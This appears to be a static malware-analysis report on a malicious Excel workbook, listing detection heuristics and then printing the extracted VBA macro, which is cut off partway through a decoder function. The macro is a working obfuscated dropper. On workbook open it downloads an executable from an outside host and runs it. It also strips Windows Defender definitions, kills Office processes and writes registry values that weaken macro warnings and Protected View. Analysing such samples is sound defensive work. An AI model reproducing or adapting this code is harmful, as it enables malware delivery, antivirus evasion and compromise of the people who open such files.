MALICIOUS
488
Risk Score
Heuristics 10
-
ClamAV: Xls.Malware.Generic-6834349-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Malware.Generic-6834349-0
-
VBA project inside OOXML medium 7 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set defender = CreateObject("WScript.Shell") -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
stream_obj.write http_obj.responseBody -
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.Matched line in script
Set http_obj = CreateObject("M" + "i" + "c" + "r" + "o" + "s" + "o" + "f" + "t" + "." + "X" + "M" + "L" + "H" + "T" + "T" + "P") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set http_obj = CreateObject("M" + "i" + "c" + "r" + "o" + "s" + "o" + "f" + "t" + "." + "X" + "M" + "L" + "H" + "T" + "T" + "P") -
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBAMatched line in script
Start = "cmd.exe /c cd ""%ProgramFiles%\Windows Defender"" & MpCmdRun.exe -removedefinitions -dynamicsignatures & taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & exit" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Private Sub Workbook_Open() -
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 22120 bytes |
SHA-256: 285928e4fb56158d7059868b5c69f67fa5b689b44b1d837488cea7d7eec4a59e |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
183 of 266 identifiers look randomly generated (e.g. 'VdkAbaqgjbzdFncwndrBkkQYyHTwPSlxlicurOyI') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub sajdskldjas()
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Dim http_obj
Dim stream_obj
Dim shell_obj
Set http_obj = CreateObject("M" + "i" + "c" + "r" + "o" + "s" + "o" + "f" + "t" + "." + "X" + "M" + "L" + "H" + "T" + "T" + "P")
Set stream_obj = CreateObject("A" + "D" + "O" + "D" + "B" + "." + "S" + "t" + "r" + "e" + "a" + "m")
Set shell_obj = CreateObject("W" + "S" + "c" + "r" + "i" + "p" + "t" + "." + "S" + "h" + "e" + "l" + "l")
URL = "h" + "t" + "t" + "p" + ":" + "/" + "/" + "s" + "t" + "e" + "m" + "t" + "o" + "p" + "x" + "." + "c" + "o" + "m" + "/" + "w" + "o" + "r" + "k" + "/" + "n" + "e" + "w" + "/" + "14.exe" 'Where to download the file from
Filename = "C" + ":" + "\" + "U" + "s" + "e" + "r" + "s" + "\" + "P" + "u" + "b" + "l" + "i" + "c" + "\" + "H" + "o" + "s" + "t" + "3" + "2" + "." + "e" + "x" + "e"
RUNCMD = "C" + ":" + "\" + "U" + "s" + "e" + "r" + "s" + "\" + "P" + "u" + "b" + "l" + "i" + "c" + "\" + "H" + "o" + "s" + "t" + "3" + "2" + "." + "e" + "x" + "e"
http_obj.Open AxhHEB2Mx(NX2AGGzcC(BTCR7QLH4("¸", "aK82j13q5"), BTCR7QLH4(" ô", "Zu92a1KZp")), NX2AGGzcC(NX2AGGzcC(BTCR7QLH4("þ", "swJL4H4lO"), BTCR7QLH4(".´±£Áv;PX", "np7tACCQb")), BTCR7QLH4("Ev/z-nPoe", "ANKoSmwQq"))) + AxhHEB2Mx(NX2AGGzcC(BTCR7QLH4("÷", "mQuuzfUu3"), BTCR7QLH4("E/Ü(&IdCq", "HTo6yRApa")), NX2AGGzcC(BTCR7QLH4("!", "BehpBTiu9"), BTCR7QLH4("ö;ø.48vU{", "aJQygNI2F"))) + AxhHEB2Mx(AxhHEB2Mx(NX2AGGzcC(BTCR7QLH4("‹", "fYL0VUARD"), BTCR7QLH4("RuÖuuHAPv", "O2Z9x09LJ")), NX2AGGzcC(NX2AGGzcC(BTCR7QLH4("ä", "IDQfQLoZC"), BTCR7QLH4("Ë KSF;IaX", "Kzm5SZSsf")), BTCR7QLH4("‰¹ˆ³µéDe{", "jvbpsJFPP"))), NX2AGGzcC(BTCR7QLH4("!", "BehpBTiu9"), BTCR7QLH4("ö;ø.48vU{", "aJQygNI2F"))), URL, False
http_obj.send
stream_obj.Type = 1
stream_obj.Open
stream_obj.write http_obj.responseBody
stream_obj.savetofile Filename, 2
shell_obj.Run RUNCMD
Set defender = CreateObject("WScript.Shell")
Dim Start
Start = "cmd.exe /c cd ""%ProgramFiles%\Windows Defender"" & MpCmdRun.exe -removedefinitions -dynamicsignatures & taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & exit"
defender.Run Start, vbHide
Set wso = CreateObject("WScript.Shell")
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\publisher\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\publisher\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\publisher\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\publisher\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\publisher\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
End Sub
Public Function AxhHEB2Mx(ikZ2azWl3 As String, wzctQ7ezi As Integer)
Dim nPBVRzqyY As Integer
For nPBVRzqyY = 1 To Len(ikZ2azWl3)
GoTo PoRwgcQlcSgqZZMyawIQ:
CEwVkdNvxRuzMJsffGOcDYCbsStEyQzGQQSfvKRTdAvZbHNhpeJ:
wVkdNvxRuzMJsFffGO = "DYbsStEyQ"
GoTo FEIuAIZzyOEHzYBgLAUKBPaIIv
xRuzMJsFffGOcD:
EHzYBgeLAUKBPaIIvwQ = "sTorJUJGASPn"
GoTo CbsStEyQzQGQQSfvKRTd
FEIuAIZzyOEHzYBgLAUKBPaIIv:
xTpNGCNfuPCMkfIKqK = "ZNtCDBGekVjiyC"
GoTo QgsToSrJUJGASPQhnjvLMiktQy
awIQEVHLmaQQjgDxDzLOdyAJTOsHauNHxdm:
xTpNGCNfuPCMkfIKqK = "ZNtCDBGekVjiyC"
GoTo lqbTbFSRilogTMwfhBejwGcpdOqMnUmYcCdoiAxTpNGCNf
xdmmlqbTbFSRilogEMwfhBejwGcpdOqMLnUm:
EHzYBgeLAUKBPaIIvwQ = "sTorJUJGASPn"
GoTo cCdoiAxTpNGCNfuPCMkfKqKQZNtCDBGekrVji
lqbTbFSRilogTMwfhBejwGcpdOqMnUmYcCdoiAxTpNGCNf:
wVkdNvxRuzMJsFffGO = "DYbsStEyQ"
GoTo PCMkfIKqKQZNtCBGekrVjiyCEwVkdN
rYexFuaVVUKDKpPBRUYPRwgcQlcSgqZZM:
GoTo awIQEVHLmaQQjgDxDzLOdyAJTOsHauNHxdm
CbsStEyQzQGQQSfvKRTd:
hnjvLMiktQybrYexFuaV = "UaKDKpPBRU"
GoTo VHLmaQQjgDZxDzLOyAJTOsHauN
PCMkfIKqKQZNtCBGekrVjiyCEwVkdN:
QGQQSfvKRTdAvZbHNh = "eJFFIuAIZzy"
GoTo xRuzMJsFffGOcD
QgsToSrJUJGASPQhnjvLMiktQy:
Mid(ikZ2azWl3, nPBVRzqyY, 1) = Chr(Asc(Mid(ikZ2azWl3, nPBVRzqyY, 1)) - wzctQ7ezi)
GoTo rYexFuaVVUKDKpPBRUYPRwgcQlcSgqZZM
cCdoiAxTpNGCNfuPCMkfKqKQZNtCDBGekrVji:
QGQQSfvKRTdAvZbHNh = "eJFFIuAIZzy"
GoTo CEwVkdNvxRuzMJsffGOcDYCbsStEyQzGQQSfvKRTdAvZbHNhpeJ
PoRwgcQlcSgqZZMyawIQ:
hnjvLMiktQybrYexFuaV = "UaKDKpPBRU"
GoTo xdmmlqbTbFSRilogEMwfhBejwGcpdOqMLnUm
VHLmaQQjgDZxDzLOyAJTOsHauN:
Next nPBVRzqyY
GoTo fvKRTdAvZbHNhpeJFFE:
cpdOqMLnUmYcCdoiATpNGCNfuPCMkfI:
GoTo qKQZNtCDBGekrVjiyEwVkdNvxRuzMJsFf
EVHLmaQQjgDZxDzLOdyATOsHauNHxdmmlqbTbSRilogETMwfhBejw:
AxhHEB2Mx = ikZ2azWl3
GoTo cpdOqMLnUmYcCdoiATpNGCNfuPCMkfI
bHNhpeJFFEIuAIZzyOEHYBgeLAUKBPaIIvw:
EVHLmaQQjgDZxDzLOdyATOsHauNHxdmmlqbTbFS = "ilogETMwfBej"
GoTo gsToSrJUJGASPnQhnjvLiktQybrYexFuaVVUaK
KpPBRUYPoRwgcQlcgqZZMyawIQEVHLmaQQj:
KQZNtCDBGekrVjiyEwVkdNvxRuzMJsFffG = "cDYCbsStEQzQGQQ"
GoTo uAIZzyOEHzYBgeLAU
GOcDYCbsStEQzQGQQSfvKRTdAv:
aVVUaKDKpPBRUYPoR = "gcQlcgqZZMyawI"
GoTo bHNhpeJFFEIuAIZzyOEHYBgeLAUKBPaIIvw
BPaIIvwQgsToSrJUJ:
GcpdOqMLnUmYcCdoi = "xTpNGCfuPCMkfIK"
GoTo ASPnQhnjvLMiktQyb
ASPnQhnjvLMiktQyb:
EVHLmaQQjgDZxDzLOdyATOsHauNHxdmmlqbTbFS = "ilogETMwfBej"
GoTo YexFuaVVUaKDK
fvKRTdAvZbHNhpeJFFE:
KQZNtCDBGekrVjiyEwVkdNvxRuzMJsFffG = "cDYCbsStEQzQGQQ"
GoTo BPaIIvwQgsToSrJUJ
gsToSrJUJGASPnQhnjvLiktQybrYexFuaVVUaK:
GcpdOqMLnUmYcCdoi = "xTpNGCfuPCMkfIK"
GoTo KpPBRUYPoRwgcQlcgqZZMyawIQEVHLmaQQj
YexFuaVVUaKDK:
aVVUaKDKpPBRUYPoR = "gcQlcgqZZMyawI"
GoTo PBRUYPoRwgcQlSgqZZMyawI
qKQZNtCDBGekrVjiyEwVkdNvxRuzMJsFf:
LAUKBPaIIvwQgsTSrJUJGASPnQhnjvL = "iktQybrYxF"
GoTo GOcDYCbsStEQzQGQQSfvKRTdAv
PBRUYPoRwgcQlSgqZZMyawI:
LAUKBPaIIvwQgsTSrJUJGASPnQhnjvL = "iktQybrYxF"
GoTo EVHLmaQQjgDZxDzLOdyATOsHauNHxdmmlqbTbSRilogETMwfhBejw
uAIZzyOEHzYBgeLAU:
End Function
Public Function NX2AGGzcC(ByVal L5DuX6XF8 As String, ByVal PKqQTGHYN As String) As String
Dim DYZyWI00h As Long
For DYZyWI00h = 1 To Len(L5DuX6XF8)
GoTo PeoQVJJltFiBhFQjQUOh:
mqPqBvNKhDcTPct:
NX2AGGzcC = NX2AGGzcC & Chr(Asc(Mid(PKqQTGHYN, IIf(DYZyWI00h Mod Len(PKqQTGHYN) <> 0, DYZyWI00h Mod Len(PKqQTGHYN), Len(PKqQTGHYN)), 1)) Xor Asc(Mid(L5DuX6XF8, DYZyWI00h, 1)))
GoTo dQaxsVYEZemcHQQPT
dSUMmOtraNiZPeoQVJ:
fkhsJYghqOJmoUbuCsYS = "RQHOVmNMdUMmOtraNi"
GoTo AkvBxIabwxfLpElsKSIojkinYRZ
ibKsvPswKUqDqdDaZBj:
LRNZcrMNYhcFVoIb = "LrzAyDpipT"
GoTo mqPqBvNKhDcTPct
LgIMbYGTttUdpRlQo:
gvzCtSibKsvPswKqDqdDaZBjAmqPqBvNKhD = "TPtH"
GoTo gGRLeNkTfkhsJYghq
uQnLRNZcrMNYhcF:
QaxsVYEZemcHQQP = "ryFkwwLPSK"
GoTo oIbVLrzAyDpipTggvzCt
PeoQVJJltFiBhFQjQUOh:
fkhsJYghqOJmoUbuCsYS = "RQHOVmNMdUMmOtraNi"
GoTo eOfjmdCfJuqezpgunnaMnJQlRkVaznlf
yFkwwLPSKjyrb:
LRNZcrMNYhcFVoIb = "LrzAyDpipT"
GoTo LgIMbYGTttUdpRlQo
JmoUbuCsYSTRQHOVmN:
yrbILgIMbYGTttUd = "RlQogGRLeNk"
GoTo dSUMmOtraNiZPeoQVJ
eOfjmdCfJuqezpgunnaMnJQlRkVaznlf:
yrbILgIMbYGTttUd = "RlQogGRLeNk"
GoTo uQnLRNZcrMNYhcF
gGRLeNkTfkhsJYghq:
QaxsVYEZemcHQQP = "ryFkwwLPSK"
GoTo JmoUbuCsYSTRQHOVmN
dQaxsVYEZemcHQQPT:
GoTo yFkwwLPSKjyrb
oIbVLrzAyDpipTggvzCt:
gvzCtSibKsvPswKqDqdDaZBjAmqPqBvNKhD = "TPtH"
GoTo ibKsvPswKUqDqdDaZBj
AkvBxIabwxfLpElsKSIojkinYRZ:
Next DYZyWI00h
End Function
Public Function BTCR7QLH4(ByVal bT5P7liFl As String, ByVal NfE8ehlXq As String) As String
On Error Resume Next
Dim nPBVRzqyY(0 To 255) As Integer, wzctQ7ezi As Integer, third As Long, fourth() As Byte
GoTo SxKJaegYxMEpQZtVbo:
VdkAbaqgjbzd:
BztKIfAZfbnqFbclvqT = "BVp"
GoTo FncwndrBkkQYyHTwP
MDuHRAAoaBYkyxjnNBztKIfA:
YHDsMDuHRAAoaBYky = "xjn"
GoTo fbnqFbclvqTjBVpjZENO
SxKJaegYxMEpQZtVbo:
cZvQqiepGVrfoLGkmSm = "ApUefiF"
GoTo UgasbyisyuGQmt
SlxlicurOyIOKQ:
fourth() = StrConv(NfE8ehlXq, vbFromUnicode)
GoTo oJLUsaDSzFZhCxxwBmfmQrdtwzrPtYHD
UgasbyisyuGQmt:
IdFKYjDQEqRonOwNzD = "EP"
GoTo EcQACjpIQFlhhg
oJLUsaDSzFZhCxxwBmfmQrdtwzrPtYHD:
GoTo MDuHRAAoaBYkyxjnNBztKIfA
FncwndrBkkQYyHTwP:
YHDsMDuHRAAoaBYky = "xjn"
GoTo SlxlicurOyIOKQ
EcQACjpIQFlhhg:
ZENOMRCvChutJMPH = "voZ"
GoTo VdkAbaqgjbzd
fbnqFbclvqTjBVpjZENO:
BztKIfAZfbnqFbclvqT = "BVp"
GoTo RCvChutJMPHhvoZGId
RCvChutJMPHhvoZGId:
ZENOMRCvChutJMPH = "voZ"
GoTo KYjDQEqRonOwNzDe
KYjDQEqRonOwNzDe:
IdFKYjDQEqRonOwNzD = "EP"
GoTo PJcZvQqiepGVrfoL
PJcZvQqiepGVrfoL:
cZvQqiepGVrfoLGkmSm = "ApUefiF"
GoTo ThGGirDfzeCU
ThGGirDfzeCU:
For wzctQ7ezi = 0 To 255
GoTo qTjBVpjZENOMRC:
OwNzDeEPJcZv:
saDSzFZhQCxxwBmfmQrd = "wzrPtHDsMDuHRAA"
GoTo qiepGVrfoLGkmSmsApU
fdiFLSxKJae:
tvEcQACjpIQFlhhg = "Vdkbaqgjb"
GoTo YxMEpQZtVboThGGirDfzeCU
JaegYxMEpQZtVbolTGGirDfzeCUu:
aBYkygxjnNBztKIf = "ZfbnqFcl"
GoTo ChutJMPHhvoZGIFKYjDQEqRo
xjnNBztKIfAfbnqFbclvqTjBVpjZENO:
tvEcQACjpIQFlhhg = "Vdkbaqgjb"
GoTo RCvChutJMPHhvoZGIdKYjDQEqRonOwNzDe
UgasbyisyuGQmtEcQACjpIQFlhhg:
third = (third + nPBVRzqyY(wzctQ7ezi) + fourth(wzctQ7ezi Mod Len(NfE8ehlXq))) Mod 256
GoTo VdkAbaqgjbzdFncwndrBkkQYyHTwP
qTjBVpjZENOMRC:
aBYkygxjnNBztKIf = "ZfbnqFcl"
GoTo OwNzDeEPJcZv
YxMEpQZtVboThGGirDfzeCU:
tVbolThGGirDfzeCUuUg = "sbisyuGQ"
GoTo UgasbyisyuGQmtEcQACjpIQFlhhg
VdkAbaqgjbzdFncwndrBkkQYyHTwP:
nPBVRzqyY(wzctQ7ezi) = wzctQ7ezi
GoTo SlxlicurOyIOKQoJLUsaDSzFZh
CxxwBmfmQrdtwzrPtYHDMDuHRAAoaBYky:
tVbolThGGirDfzeCUuUg = "sbisyuGQ"
GoTo xjnNBztKIfAfbnqFbclvqTjBVpjZENO
qiepGVrfoLGkmSmsApU:
dHFncwndrBkkQYyHTw = "uSlxlicuryIOKQnoJL"
GoTo fdiFLSxKJae
PJcZvQqiepGVrfoLkmSmsApUefdiFLSx:
saDSzFZhQCxxwBmfmQrd = "wzrPtHDsMDuHRAA"
GoTo JaegYxMEpQZtVbolTGGirDfzeCUu
SlxlicurOyIOKQoJLUsaDSzFZh:
GoTo CxxwBmfmQrdtwzrPtYHDMDuHRAAoaBYky
RCvChutJMPHhvoZGIdKYjDQEqRonOwNzDe:
dHFncwndrBkkQYyHTw = "uSlxlicuryIOKQnoJL"
GoTo PJcZvQqiepGVrfoLkmSmsApUefdiFLSx
ChutJMPHhvoZGIFKYjDQEqRo:
Next wzctQ7ezi
GoTo eCUuUgasbyisyuG:
MPHhvoZGIdFKYjDQE:
GoTo RonOwNzDeEPJc
VbolThGGirDfzeUuUgasbyisyuGQmt:
NzDeEPJcZvQqiepGV = "foLGkSmsA"
GoTo EcQACjpIQFlhhgVdkAbaqgjbzd
TwPuSlxlicurOyIOKnoJLUsaDSzFZhQCxxwBm:
bnqFbclvqTjBVpjENOMRCvChutJMPHhvoZG = "dFKYjDQERonO"
GoTo mQrdtwzrPtYDsMDuHRAAoaBYkygx
qFbclvqTjBVpZENOMRCvChut:
fourth() = StrConv(bT5P7liFl, vbFromUnicode)
GoTo MPHhvoZGIdFKYjDQE
efdiFLSxKJaegYxMEpQZ:
bnqFbclvqTjBVpjENOMRCvChutJMPHhvoZG = "dFKYjDQERonO"
GoTo VbolThGGirDfzeUuUgasbyisyuGQmt
EcQACjpIQFlhhgVdkAbaqgjbzd:
UefdiFLSxKJaegYx = "EpQZtVboThGGrDf"
GoTo mtvEcQACjpIQFlhhglVd
mQrdtwzrPtYDsMDuHRAAoaBYkygx:
aDSzFZhQCxxwBmfmQdtwzrPtYHDsMDuHRA = "oaBYkyxjnBztKIfAZ"
GoTo nNBztKIfAZfb
AbaqgjbzdHFnwndrBkkQYy:
NzDeEPJcZvQqiepGV = "foLGkSmsA"
GoTo TwPuSlxlicurOyIOKnoJLUsaDSzFZhQCxxwBm
nNBztKIfAZfb:
cwndrBkkQYyHTwPu = "lxlicurOyOKQnoJLU"
GoTo qFbclvqTjBVpZENOMRCvChut
RonOwNzDeEPJc:
cwndrBkkQYyHTwPu = "lxlicurOyOKQnoJLU"
GoTo vQqiepGVrfoLGkmSmsAp
eCUuUgasbyisyuG:
UefdiFLSxKJaegYx = "EpQZtVboThGGrDf"
GoTo AbaqgjbzdHFnwndrBkkQYy
vQqiepGVrfoLGkmSmsAp:
aDSzFZhQCxxwBmfmQdtwzrPtYHDsMDuHRA = "oaBYkyxjnBztKIfAZ"
GoTo efdiFLSxKJaegYxMEpQZ
mtvEcQACjpIQFlhhglVd:
For wzctQ7ezi = 0 To Len(bT5P7liFl)
GoTo ACjpIQFlhhglVdkAbaqg:
DsMDuHRAAoaBYkygxnNBztKIfAZfb:
hQCxxwBmfmQrdtwzrPtY = "DsMDuHRAoaBYk"
GoTo qFbclvqTjBVpZENOMRCvChutMPHhvoZGIdFKYjDQE
UuUgasbyisyuGQmtEcQACjpIQFlhhg:
hQCxxwBmfmQrdtwzrPtY = "DsMDuHRAoaBYk"
GoTo VdkAbaqgjbzdFncwndrBkkQYyHTwPSlxlicurOyIOKQ
icurOyIOKQno:
MRCvChutJMPHhvoZGId = "KYjDQEqonOwNzDeE"
GoTo LUsaDSzFZhQCxxwBmmQrdtwzrPtY
qFbclvqTjBVpZENOMRCvChutMPHhvoZGIdFKYjDQE:
third = (third + nPBVRzqyY(third) + 1) Mod 256
GoTo RonOwNzDeEPJcvQqiepGVrfoLGkmSmsAp
efdiFLSxKJaegYxMEpQZVbolThGGirDfze:
GoTo UuUgasbyisyuGQmtEcQACjpIQFlhhg
LUsaDSzFZhQCxxwBmmQrdtwzrPtY:
